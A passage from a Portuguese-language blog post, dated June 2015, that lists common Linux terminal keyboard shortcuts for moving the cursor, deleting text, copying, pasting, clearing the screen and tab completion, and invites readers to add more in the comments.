    Ctrl-F: Avança um caractere.

    Alt-F: Avançar uma palavra.

    Ctrl-U: Apaga todos os caracteres da posição do cursos para trás.

    Ctrl-K: Apaga todos os caracteres da posição do cursor para frente.

    Ctrl-Shift-V: Colar o texto da área de transferência .

    Ctrl-Shift-C: Copie o texto para área de transferência.

    Ctrl-L: Limpa a tela.

    TAB: Completa os comandos e nomes de arquivos e diretórios.

    Estes são alguns dos atalhos que eu conheço e que eu mais uso, você conhece mais alguns? Então acrescente as informações através dos comentários para deixar o artigo ainda mais completo.

    Leia também:
    4 recursos do APT-GET que você não conhece
    É isso aí, até a próxima!
    _____________________________________________________________________________
    Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




    quarta-feira, 10 de junho de 2015